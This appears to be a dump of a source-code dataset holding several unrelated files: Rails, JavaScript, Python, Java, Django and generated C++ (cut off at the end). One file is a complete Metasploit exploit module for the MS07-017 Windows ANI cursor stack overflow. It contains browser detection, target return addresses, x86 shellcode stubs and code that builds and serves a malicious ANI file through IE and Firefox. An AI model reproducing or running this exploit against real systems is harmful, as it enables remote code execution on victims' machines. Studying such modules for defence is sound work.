repo_name
stringlengths
6
101
path
stringlengths
4
300
text
stringlengths
7
1.31M
swobspace/mirthCompanion
spec/decorators/note_decorator_spec.rb
# frozen_string_literal: true require 'rails_helper' RSpec.describe NoteDecorator do end
zhongwei30/media
source/layers/core-lib/lib/stateMessage.js
<filename>source/layers/core-lib/lib/stateMessage.js<gh_stars>10-100 // Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. // SPDX-License-Identifier: Apache-2.0 const States = require('./states'); const Statuses = require('./statuses'); /** * @class StateMessage * @description state message object being sent and received through IoT message broker */ class StateMessage { constructor(params = {}) { this.$uuid = params.uuid; this.$stateMachine = params.stateMachine; this.$operation = params.operation; this.$status = params.status; this.$progress = Number.parseInt(params.progress || 0, 10); this.$errorMessage = params.errorMessage; } /* eslint-disable class-methods-use-this */ get [Symbol.toStringTag]() { return 'StateMessage'; } /* eslint-enable class-methods-use-this */ static get States() { return States; } static get Statuses() { return Statuses; } get uuid() { return this.$uuid; } set uuid(val) { this.$uuid = val; } get stateMachine() { return this.$stateMachine; } set stateMachine(val) { this.$stateMachine = val; } get operation() { return this.$operation; } set operation(val) { this.$operation = val; } get overallStatus() { return (this.status.indexOf(Statuses.Error) >= 0) ? Statuses.Error : (this.status === Statuses.AnalysisCompleted) ? Statuses.Completed : Statuses.Processing; } get status() { return this.$status; } set status(val) { this.$status = val; } get progress() { return this.$progress; } set progress(val) { this.$progress = Number.parseInt(val || 0, 10); } get errorMessage() { return this.$errorMessage; } set errorMessage(e) { this.$errorMessage = (e instanceof Error) ? e.message : e; } setStarted(status) { this.status = status || Statuses.Started; this.progress = 0; } setCompleted(status) { this.status = status || Statuses.Completed; this.progress = 100; } setProgress(val) { this.status = Statuses.InProgress; this.progress = Math.min(100, Number.parseInt(val, 10)); } setFailed(e) { this.status = Statuses.Error; this.errorMessage = e; } setNoData() { this.status = Statuses.NoData; this.progress = 100; } toJSON() { return { uuid: this.uuid, stateMachine: this.stateMachine, operation: this.operation, overallStatus: this.overallStatus, status: this.status, progress: this.progress, errorMessage: this.errorMessage, }; } } module.exports = StateMessage;
gaoxinge/taichi
python/taichi/ui/constants.py
"""Key constants for :mod:`~taichi.ui` """ SHIFT = 'Shift' ALT = 'Alt' CTRL = 'Control' ESCAPE = 'Escape' RETURN = 'Return' TAB = 'Tab' BACKSPACE = 'BackSpace' SPACE = 'Space' UP = 'Up' DOWN = 'Down' LEFT = 'Left' RIGHT = 'Right' CAPSLOCK = 'CapsLock' LMB = 'LMB' MMB = 'MMB' RMB = 'RMB' # Event types PRESS = "Press" RELEASE = "Release"
docquantum/airavata
modules/commons/src/main/java/org/apache/airavata/common/utils/JSONUtil.java
/** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.airavata.common.utils; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonArray; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.JsonPrimitive; import com.google.gson.stream.JsonReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.io.Reader; import java.util.Map; import java.util.Set; public class JSONUtil { public static void saveJSON(JsonElement jsonElement, File file) throws IOException { IOUtil.writeToFile(jsonElementToString(jsonElement), file); } public static JsonObject stringToJSONObject(String workflowString) { JsonParser parser = new JsonParser(); return (JsonObject) parser.parse(workflowString); } public static JsonObject loadJSON(File file) throws IOException { return loadJSON(new FileReader(file)); } public static JsonObject loadJSON(Reader reader) throws IOException { JsonParser parser = new JsonParser(); JsonElement jsonElement = parser.parse(reader); if (jsonElement instanceof JsonObject) { return (JsonObject) jsonElement; } else { throw new RuntimeException("Error while loading Json from file"); } } public static String jsonElementToString(JsonElement jsonElement) { Gson gson = new GsonBuilder().setPrettyPrinting().create(); return gson.toJson(jsonElement); } public static boolean isEqual(JsonObject originalJsonObject, JsonObject newJsonObject) { // TODO - Implement this method if (originalJsonObject == null && newJsonObject == null) { return true; }else if (originalJsonObject == null || newJsonObject == null) { return false; } else { // check the number of childs Set<Map.Entry<String , JsonElement>> entrySetOfOriginalJson = originalJsonObject.entrySet(); Set<Map.Entry<String , JsonElement>> entrySetOfNewJson = newJsonObject.entrySet(); if (entrySetOfOriginalJson.size() != entrySetOfNewJson.size()) { return false; } for (Map.Entry<String, JsonElement> keyString : entrySetOfOriginalJson) { JsonElement valueOrig = keyString.getValue(); JsonElement valueNew = newJsonObject.get(keyString.getKey()); if (valueOrig instanceof JsonObject && valueNew instanceof JsonObject && !isEqual((JsonObject) valueOrig, (JsonObject) valueNew)) { return false; }else if (valueOrig instanceof JsonArray && valueNew instanceof JsonArray && !isEqual((JsonArray) valueOrig, (JsonArray) valueNew)) { return false; }else if (valueOrig instanceof JsonPrimitive && valueNew instanceof JsonPrimitive && !isEqual((JsonPrimitive) valueOrig, (JsonPrimitive) valueNew)) { return false; } } } return true; } private static boolean isEqual(JsonArray arrayOriginal, JsonArray arrayNew) { if (arrayOriginal == null && arrayNew == null) { return true; }else if (arrayOriginal == null || arrayNew == null) { return false; }else { // check the number of element if (arrayOriginal.size() != arrayNew.size()) { return false; }else if (arrayOriginal.size() == 0) { return true; } else { for (int i = 0; i < arrayOriginal.size(); i++) { JsonElement valueOrig = arrayOriginal.get(i); JsonElement valueNew = arrayNew.get(i); if (valueOrig instanceof JsonObject && valueNew instanceof JsonObject) { if (!isEqual((JsonObject) valueOrig, (JsonObject) valueNew)) { return false; } }else if (valueOrig instanceof JsonPrimitive && valueNew instanceof JsonPrimitive) { if (!isEqual((JsonPrimitive) valueOrig, (JsonPrimitive) valueNew)) { return false; } } } } } return true; } private static boolean isEqual(JsonPrimitive primitiveOrig, JsonPrimitive primitiveNew) { if (primitiveOrig == null && primitiveNew == null) { return true; }else if (primitiveOrig == null || primitiveNew == null) { return false; } else { if (primitiveOrig.isString() && primitiveNew.isString()){ if(!primitiveOrig.getAsString().equals(primitiveNew.getAsString())) { return false; } }else if (primitiveOrig.isBoolean() && primitiveNew.isBoolean()) { if ((Boolean.valueOf(primitiveOrig.getAsBoolean()).compareTo(primitiveNew.getAsBoolean()) != 0)) { return false; } }else if (primitiveOrig.isNumber() && primitiveNew.isNumber() ) { if (new Double(primitiveOrig.getAsDouble()).compareTo(primitiveNew.getAsDouble()) != 0) { return false; } }else { return primitiveOrig.isJsonNull() && primitiveNew.isJsonNull(); } } return true; } }
Hunteerq/Bank
server/src/main/java/com/kmb/bank/config/LogicConfig.java
package com.kmb.bank.config; import com.kmb.bank.mapper.CurrenciesMapper; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import java.security.SecureRandom; import java.util.Random; @Configuration public class LogicConfig { @Bean public CurrenciesMapper currenciesMapper() { return new CurrenciesMapper(); } @Bean public SecureRandom secureRandom() { return new SecureRandom(); } }
DrizzleRisk/metasploit-framework
modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RIFF def initialize(info = {}) super(update_info(info, 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)', 'Description' => %q{ This module exploits a buffer overflow vulnerability in the LoadAniIcon() function in USER32.dll. The flaw can be triggered through Internet Explorer 6 and 7 by using the CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This vulnerability was discovered by <NAME> Determina and was rediscovered, in the wild, by McAfee. }, 'Author' => [ 'hdm', # First version 'skape', # Vista support # Firefox support, OS language independence, improved reliability 'Solar Eclipse <solareclipse[at]phreedom.org>' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2007-0038'], ['OSVDB', '33629'], ['BID', '23194'], ['MSB', 'MS07-017'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024 + (rand(1000)), 'Compat' => { 'ConnectionType' => '-find', } }, 'Platform' => 'win', # Automatic target tested on: # # Windows NT SP6 + IE6 SP1 # Windows 2000 SP4 + IE6 SP1 # Windows 2000 SP4 UR1 + IE6 SP1 # Windows XP SP0 # Windows XP SP1 # Windows XP SP2 # Windows XP SP2 + IE7 # Windows 2003 SP0 # Windows 2003 SP1 # Windows 2003 SP1 + IE7 # Windows Vista # # Windows XP SP0 + Firebird 0.7 # Windows XP SP0 + Firefox 1.0 # Windows XP SP0 + Firefox 1.5 # Windows XP SP2 + Firefox 2.0 # Windows 2003 SP1 + Firefox 2.0 # Windows Vista + Firefox 2.0 'Targets' => [ [ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista', { 'Method' => 'automatic' } ], [ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)', { 'Method' => 'jmpesp', 'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe) 'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe) } ], [ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)', { 'Method' => 'jmpesp', 'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe) 'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe) } ], [ 'IE7 and Firefox on Windows Vista (all languages)', { 'Method' => 'partial', 'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll) } ], [ 'Firefox on Windows XP (English)', { 'Method' => 'jmpesp', 'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll) 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) } ], [ 'Firefox on Windows 2003 (English)', { 'Method' => 'jmpesp', 'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll) 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) } ], ], 'DisclosureDate' => 'Mar 28 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ]) end # # Handle HTTP requests # def on_request_uri(cli, request) # # Automatic browser and OS detection # print_status("Attempting to exploit ani_loadimage_chunksize") browser = '' if target['Method'] == 'automatic' agent = request.headers['User-Agent'] # Check for Firefox requests if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/ browser = 'Mozilla' # WebDAV requires that we use port 80 and the URIPATH is '/' if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' print_status("Request received from Mozilla. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'") cli.send_response(create_response(404, "File not found")) return end if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/ target = targets[3] # Firefox on Vista elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ target = targets[4] # Firefox on XP elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ target = targets[5] # Firefox on 2003 else print_status("Unknown User-Agent #{agent}") return end # Check for MSIE requests elsif agent =~ /MSIE/ browser = 'IE' if agent =~ /Windows NT 6\.0/ target = targets[3] # IE7 on Vista elsif agent =~ /MSIE 7\.0/ target = targets[2] # IE7 on XP and 2003 elsif agent =~ /MSIE 6\.0/ target = targets[1] # IE6 on NT, 2000, XP and 2003 else print_status("Unknown User-Agent #{agent}") return end # Unknown user agent else print_status("Unknown User-Agent #{agent}") return end end # # Find out if this is a request for an ANI file # # Mozilla always uses a .ani extension, but IE randomly picks one of the # other extensions for the ANI request exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani'] ani_request = false match = /\.(...)$/.match(request.uri) if match and exts.include?(match[1]) ani_request = true end # # OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector # if request.method == 'OPTIONS' print_status("Received WebDAV OPTIONS request") headers = { 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Public' => 'OPTIONS, GET, PROPFIND', 'Allow' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) return end if request.method == 'PROPFIND' print_status("Received WebDAV PROPFIND request") body = '' if (not ani_request) # Response for directories body = '<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>' else # Response for files body = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>' end send_response(cli, body, {'Content-Type' => 'text/xml'}) return end # # HTML requests sent by IE and Firefox # if (not ani_request) # Pick a random extension to use when we generate HTML. The moz-icon URL # must have a .ani extension, but we can use a random one for IE exts.delete('ani') ext = exts[rand(exts.length)] # Generate the HTML html = "<html>" + "<head><title>" + random_padding + "</title></head>" + "<body>" + random_padding + (browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) + random_padding + "</body>" + "</html>" print_status("Sending HTML page") send_response(cli, html) return end # # ANI requests sent by IE and the WebDav Mini-Redirector # # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name}") # Transmit the compressed response to the client send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' }) end # # Generate a <div> element with a style attribute referencing the ANI file # def generate_ie_html(ext) path = get_resource.sub(/\/$/, '') "<div style='" + random_css_padding + Rex::Text.to_rand_case("cursor") + random_css_padding + ":" + random_css_padding + Rex::Text.to_rand_case("url(") + random_css_padding + '"' + path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext + '"' + random_css_padding + ");" + random_css_padding + "'>" + random_padding + "</div>" end # # Generate a img tag with a moz-icon URL referencing the ANI file # def generate_mozilla_html path = get_resource.gsub(/\/$/, '') # The UNC path of the ANI file must have at least one directory level, # otherwise the WebDAV redirector will not work if path == '' path = '/' + rand_text_alphanumeric(rand(80)+16) end return '<img src="moz-icon:file://///' + datastore['SRVHOST'] + path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">' end # # Generate CSS padding # def random_css_padding buf = random_whitespace + "/*" + random_whitespace + random_padding + random_whitespace + "*/" + random_whitespace end # # Generate random whitespace # def random_whitespace len = rand(100)+2 set = "\x09\x20\x0d\x0a" buf = '' while (buf.length < len) buf << set[rand(set.length)].chr end buf end # # Generate random padding # def random_padding rand_text_alphanumeric(rand(128)+4) end # # Generate an ANI file that will trigger the vulnerability # def generate_ani(payload, target) # Valid ANI header header = [ 36, # cbSizeOf (must be 36) rand(128)+16, # cFrames (must be > 1 and < 0x10000) rand(1024)+1, # cSteps (must be < 0x10000) 0, 0, # cx, cy 0, # cBitCount 0, # cPlanes 0, # JifRate 1 # Flags (must have the LSB bit set) ].pack('V9') overflow = '' if target['Method'] == 'jmpesp' # ANI header that triggers the overflow: overflow = # 36 bytes of fake header # When we get control, the ebx and esi registers have the following values: # # 2000, XP, 2003 before MS05-002 # ebx = 0, esi = pointer to MappedFile struct # # NT before MS05-002 # ebx = pointer to dword 1, esi = pointer to MappedFile struct # # all versions after MS05-002, including XP SP2 and 2003 SP1 # ebx = pointer to MappedFile struct # # The first field in MappedFile is a pointer to the ANI file "\x85\xDB" + # test ebx,ebx "\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002 "\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1 "\x74\x02" + # jz jmp_esi NT before MS05-002 "\x89\xDE" + # mov esi, ebx all versions after MS05-002 # jmp_esi: "\x8B\x36" + # mov esi,[esi] pointer to ANI file "\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF' "\x75\x02" + # jnz failed "\xFF\xE6" + # jmp esi # failed: "\x31\xc0" + # xor eax, eax "\x8b\x00" + # mov eax, [0] exit via SEH rand_text(2) + "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) # end of header rand_text(4*6) + # local variables # The following local variables must be NULL to avoid calls to # HeapFree and NtUserDestroyCursor # 2000, XP, 2003 SP0 2003 SP1 "\x00\x00\x00\x00" + # var_10 "\x00\x00\x00\x00" + # var_C "\x00\x00\x00\x00" + # var_C "\x00\x00\x00\x00" + # var_8 "\x00\x00\x00\x00" + # var_4 [ target['Ret1'], # return address for NT, 2000, XP and 2003 SP0 target['Ret2'] # return address for 2003 SP1 ].pack('VV') + rand_text(4*4) + # function arguments "\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands # here, 2003 SP1 lands on the next dword "\xeb\x92" # jump back to the shellcode in the ANI header elsif target['Method'] == 'partial' # ANI header that triggers the overflow: overflow = # 36 bytes of fake header rand_text(32) + "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) # end of header rand_text(4*8) + # local variables # The following local variables must be NULL to avoid calls to # HeapFree and NtUserDestroyCursor on Vista "\x00\x00\x00\x00" + # var_C "\x00\x00\x00\x00" + # var_8 "\x00\x00\x00\x00" + # var_4 rand_text(4) + # saved ebp [ target['Ret'], # 2 byte partial overwrite of the return address ].pack('v') else fail_with(Failure::NoTarget, "Unknown target #{targetr['Method']}") end # Build the ANI file # The shellcode execution begins at the RIFF signature: # # 'R' 52 push edx # 'I' 49 dec ecx # 'F' 46 inc esi # 'F' 46 inc esi # eb 3a jmp +3a # jmp to the code in the payload chunk ani = "RIFF" + "\xeb\x3a\x00\x00" + "ACON" + riff_chunk("anih", header) + # payload chunk riff_chunk(random_riff_tag, Rex::Arch::X86.copy_to_stack(payload.encoded.length) + payload.encoded) + random_riff_chunks + # the second anih chunk trigger the overflow riff_chunk("anih", overflow) + random_riff_chunks return ani end end
intel/compute-benchmarks
source/benchmarks/api_overhead_benchmark/definitions/execute_command_list_with_fence_destroy.h
<reponame>intel/compute-benchmarks<filename>source/benchmarks/api_overhead_benchmark/definitions/execute_command_list_with_fence_destroy.h /* * Copyright (C) 2022 Intel Corporation * * SPDX-License-Identifier: MIT * */ #pragma once #include "framework/argument/basic_argument.h" #include "framework/test_case/test_case.h" struct ExecuteCommandListWithFenceDestroyArguments : TestCaseArgumentContainer { ExecuteCommandListWithFenceDestroyArguments() {} }; struct ExecuteCommandListWithFenceDestroy : TestCase<ExecuteCommandListWithFenceDestroyArguments> { using TestCase<ExecuteCommandListWithFenceDestroyArguments>::TestCase; std::string getTestCaseName() const override { return "ExecuteCommandListWithFenceDestroy"; } std::string getHelp() const override { return "measures time spent in zeFenceDestroy on CPU when fences are used."; } };
ubpd/kobocat
onadata/apps/restservice/__init__.py
# coding: utf-8 from __future__ import unicode_literals, print_function, division, absolute_import SERVICE_KPI_HOOK = ("kpi_hook", "KPI Hook POST") SERVICE_CHOICES = ( SERVICE_KPI_HOOK, ) default_app_config = "onadata.apps.restservice.app.RestServiceConfig"
TamaraAbells/okuna-api
openbook_devices/views.py
<filename>openbook_devices/views.py # Create your views here. from django.db import transaction from rest_framework import status from rest_framework.permissions import IsAuthenticated from rest_framework.response import Response from rest_framework.views import APIView from openbook_moderation.permissions import IsNotSuspended from openbook_common.utils.helpers import normalise_request_data from openbook_devices.serializers import GetDevicesSerializer, GetDevicesDeviceSerializer, \ DeleteDeviceSerializer, CreateDeviceSerializer, UpdateDeviceSerializer class Devices(APIView): permission_classes = (IsAuthenticated, IsNotSuspended) def put(self, request): serializer = CreateDeviceSerializer(data=request.data) serializer.is_valid(raise_exception=True) data = serializer.validated_data name = data.get('name') uuid = data.get('uuid') user = request.user with transaction.atomic(): device = user.create_device(name=name, uuid=uuid) response_serializer = GetDevicesDeviceSerializer(device, context={"request": request}) return Response(response_serializer.data, status=status.HTTP_201_CREATED) def get(self, request): query_params = request.query_params.dict() serializer = GetDevicesSerializer(data=query_params) serializer.is_valid(raise_exception=True) data = serializer.validated_data count = data.get('count', 10) max_id = data.get('max_id') user = request.user devices = user.get_devices(max_id=max_id).order_by('-created')[:count] response_serializer = GetDevicesDeviceSerializer(devices, many=True, context={"request": request}) return Response(response_serializer.data, status=status.HTTP_200_OK) def delete(self, request): user = request.user with transaction.atomic(): user.delete_devices() return Response(status=status.HTTP_200_OK) class DeviceItem(APIView): permission_classes = (IsAuthenticated, IsNotSuspended) def get(self, request, device_uuid): user = request.user device = user.get_device_with_uuid(device_uuid=device_uuid) response_serializer = GetDevicesDeviceSerializer(device, context={"request": request}) return Response(response_serializer.data, status=status.HTTP_200_OK) def patch(self, request, device_uuid): request_data = normalise_request_data(request.data) request_data['device_uuid'] = device_uuid serializer = UpdateDeviceSerializer(data=request_data) serializer.is_valid(raise_exception=True) data = serializer.validated_data name = data.get('name') user = request.user with transaction.atomic(): device = user.update_device_with_uuid(device_uuid=device_uuid, name=name) response_serializer = GetDevicesDeviceSerializer(device, context={"request": request}) return Response(response_serializer.data, status=status.HTTP_200_OK) def delete(self, request, device_uuid): serializer = DeleteDeviceSerializer(data={'device_uuid': device_uuid}) serializer.is_valid(raise_exception=True) user = request.user with transaction.atomic(): user.delete_device_with_uuid(device_uuid=device_uuid) return Response(status=status.HTTP_200_OK)
CiscoDevNet/ydk-cpp
cisco-ios-xe/ydk/models/cisco_ios_xe/DS1_MIB.cpp
<gh_stars>10-100 #include <sstream> #include <iostream> #include <ydk/entity_util.hpp> #include "bundle_info.hpp" #include "generated_entity_lookup.hpp" #include "DS1_MIB.hpp" using namespace ydk; namespace cisco_ios_xe { namespace DS1_MIB { DS1MIB::DS1MIB() : dsx1configtable(std::make_shared<DS1MIB::Dsx1ConfigTable>()) , dsx1currenttable(std::make_shared<DS1MIB::Dsx1CurrentTable>()) , dsx1intervaltable(std::make_shared<DS1MIB::Dsx1IntervalTable>()) , dsx1totaltable(std::make_shared<DS1MIB::Dsx1TotalTable>()) , dsx1farendcurrenttable(std::make_shared<DS1MIB::Dsx1FarEndCurrentTable>()) , dsx1farendintervaltable(std::make_shared<DS1MIB::Dsx1FarEndIntervalTable>()) , dsx1farendtotaltable(std::make_shared<DS1MIB::Dsx1FarEndTotalTable>()) , dsx1fractable(std::make_shared<DS1MIB::Dsx1FracTable>()) , dsx1chanmappingtable(std::make_shared<DS1MIB::Dsx1ChanMappingTable>()) { dsx1configtable->parent = this; dsx1currenttable->parent = this; dsx1intervaltable->parent = this; dsx1totaltable->parent = this; dsx1farendcurrenttable->parent = this; dsx1farendintervaltable->parent = this; dsx1farendtotaltable->parent = this; dsx1fractable->parent = this; dsx1chanmappingtable->parent = this; yang_name = "DS1-MIB"; yang_parent_name = "DS1-MIB"; is_top_level_class = true; has_list_ancestor = false; } DS1MIB::~DS1MIB() { } bool DS1MIB::has_data() const { if (is_presence_container) return true; return (dsx1configtable != nullptr && dsx1configtable->has_data()) || (dsx1currenttable != nullptr && dsx1currenttable->has_data()) || (dsx1intervaltable != nullptr && dsx1intervaltable->has_data()) || (dsx1totaltable != nullptr && dsx1totaltable->has_data()) || (dsx1farendcurrenttable != nullptr && dsx1farendcurrenttable->has_data()) || (dsx1farendintervaltable != nullptr && dsx1farendintervaltable->has_data()) || (dsx1farendtotaltable != nullptr && dsx1farendtotaltable->has_data()) || (dsx1fractable != nullptr && dsx1fractable->has_data()) || (dsx1chanmappingtable != nullptr && dsx1chanmappingtable->has_data()); } bool DS1MIB::has_operation() const { return is_set(yfilter) || (dsx1configtable != nullptr && dsx1configtable->has_operation()) || (dsx1currenttable != nullptr && dsx1currenttable->has_operation()) || (dsx1intervaltable != nullptr && dsx1intervaltable->has_operation()) || (dsx1totaltable != nullptr && dsx1totaltable->has_operation()) || (dsx1farendcurrenttable != nullptr && dsx1farendcurrenttable->has_operation()) || (dsx1farendintervaltable != nullptr && dsx1farendintervaltable->has_operation()) || (dsx1farendtotaltable != nullptr && dsx1farendtotaltable->has_operation()) || (dsx1fractable != nullptr && dsx1fractable->has_operation()) || (dsx1chanmappingtable != nullptr && dsx1chanmappingtable->has_operation()); } std::string DS1MIB::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1ConfigTable") { if(dsx1configtable == nullptr) { dsx1configtable = std::make_shared<DS1MIB::Dsx1ConfigTable>(); } return dsx1configtable; } if(child_yang_name == "dsx1CurrentTable") { if(dsx1currenttable == nullptr) { dsx1currenttable = std::make_shared<DS1MIB::Dsx1CurrentTable>(); } return dsx1currenttable; } if(child_yang_name == "dsx1IntervalTable") { if(dsx1intervaltable == nullptr) { dsx1intervaltable = std::make_shared<DS1MIB::Dsx1IntervalTable>(); } return dsx1intervaltable; } if(child_yang_name == "dsx1TotalTable") { if(dsx1totaltable == nullptr) { dsx1totaltable = std::make_shared<DS1MIB::Dsx1TotalTable>(); } return dsx1totaltable; } if(child_yang_name == "dsx1FarEndCurrentTable") { if(dsx1farendcurrenttable == nullptr) { dsx1farendcurrenttable = std::make_shared<DS1MIB::Dsx1FarEndCurrentTable>(); } return dsx1farendcurrenttable; } if(child_yang_name == "dsx1FarEndIntervalTable") { if(dsx1farendintervaltable == nullptr) { dsx1farendintervaltable = std::make_shared<DS1MIB::Dsx1FarEndIntervalTable>(); } return dsx1farendintervaltable; } if(child_yang_name == "dsx1FarEndTotalTable") { if(dsx1farendtotaltable == nullptr) { dsx1farendtotaltable = std::make_shared<DS1MIB::Dsx1FarEndTotalTable>(); } return dsx1farendtotaltable; } if(child_yang_name == "dsx1FracTable") { if(dsx1fractable == nullptr) { dsx1fractable = std::make_shared<DS1MIB::Dsx1FracTable>(); } return dsx1fractable; } if(child_yang_name == "dsx1ChanMappingTable") { if(dsx1chanmappingtable == nullptr) { dsx1chanmappingtable = std::make_shared<DS1MIB::Dsx1ChanMappingTable>(); } return dsx1chanmappingtable; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; if(dsx1configtable != nullptr) { _children["dsx1ConfigTable"] = dsx1configtable; } if(dsx1currenttable != nullptr) { _children["dsx1CurrentTable"] = dsx1currenttable; } if(dsx1intervaltable != nullptr) { _children["dsx1IntervalTable"] = dsx1intervaltable; } if(dsx1totaltable != nullptr) { _children["dsx1TotalTable"] = dsx1totaltable; } if(dsx1farendcurrenttable != nullptr) { _children["dsx1FarEndCurrentTable"] = dsx1farendcurrenttable; } if(dsx1farendintervaltable != nullptr) { _children["dsx1FarEndIntervalTable"] = dsx1farendintervaltable; } if(dsx1farendtotaltable != nullptr) { _children["dsx1FarEndTotalTable"] = dsx1farendtotaltable; } if(dsx1fractable != nullptr) { _children["dsx1FracTable"] = dsx1fractable; } if(dsx1chanmappingtable != nullptr) { _children["dsx1ChanMappingTable"] = dsx1chanmappingtable; } return _children; } void DS1MIB::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::set_filter(const std::string & value_path, YFilter yfilter) { } std::shared_ptr<ydk::Entity> DS1MIB::clone_ptr() const { return std::make_shared<DS1MIB>(); } std::string DS1MIB::get_bundle_yang_models_location() const { return ydk_cisco_ios_xe_models_path; } std::string DS1MIB::get_bundle_name() const { return "cisco_ios_xe"; } augment_capabilities_function DS1MIB::get_augment_capabilities_function() const { return cisco_ios_xe_augment_lookup_tables; } std::map<std::pair<std::string, std::string>, std::string> DS1MIB::get_namespace_identity_lookup() const { return cisco_ios_xe_namespace_identity_lookup; } bool DS1MIB::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1ConfigTable" || name == "dsx1CurrentTable" || name == "dsx1IntervalTable" || name == "dsx1TotalTable" || name == "dsx1FarEndCurrentTable" || name == "dsx1FarEndIntervalTable" || name == "dsx1FarEndTotalTable" || name == "dsx1FracTable" || name == "dsx1ChanMappingTable") return true; return false; } DS1MIB::Dsx1ConfigTable::Dsx1ConfigTable() : dsx1configentry(this, {"dsx1lineindex"}) { yang_name = "dsx1ConfigTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1ConfigTable::~Dsx1ConfigTable() { } bool DS1MIB::Dsx1ConfigTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1configentry.len(); index++) { if(dsx1configentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1ConfigTable::has_operation() const { for (std::size_t index=0; index<dsx1configentry.len(); index++) { if(dsx1configentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1ConfigTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1ConfigTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1ConfigTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > 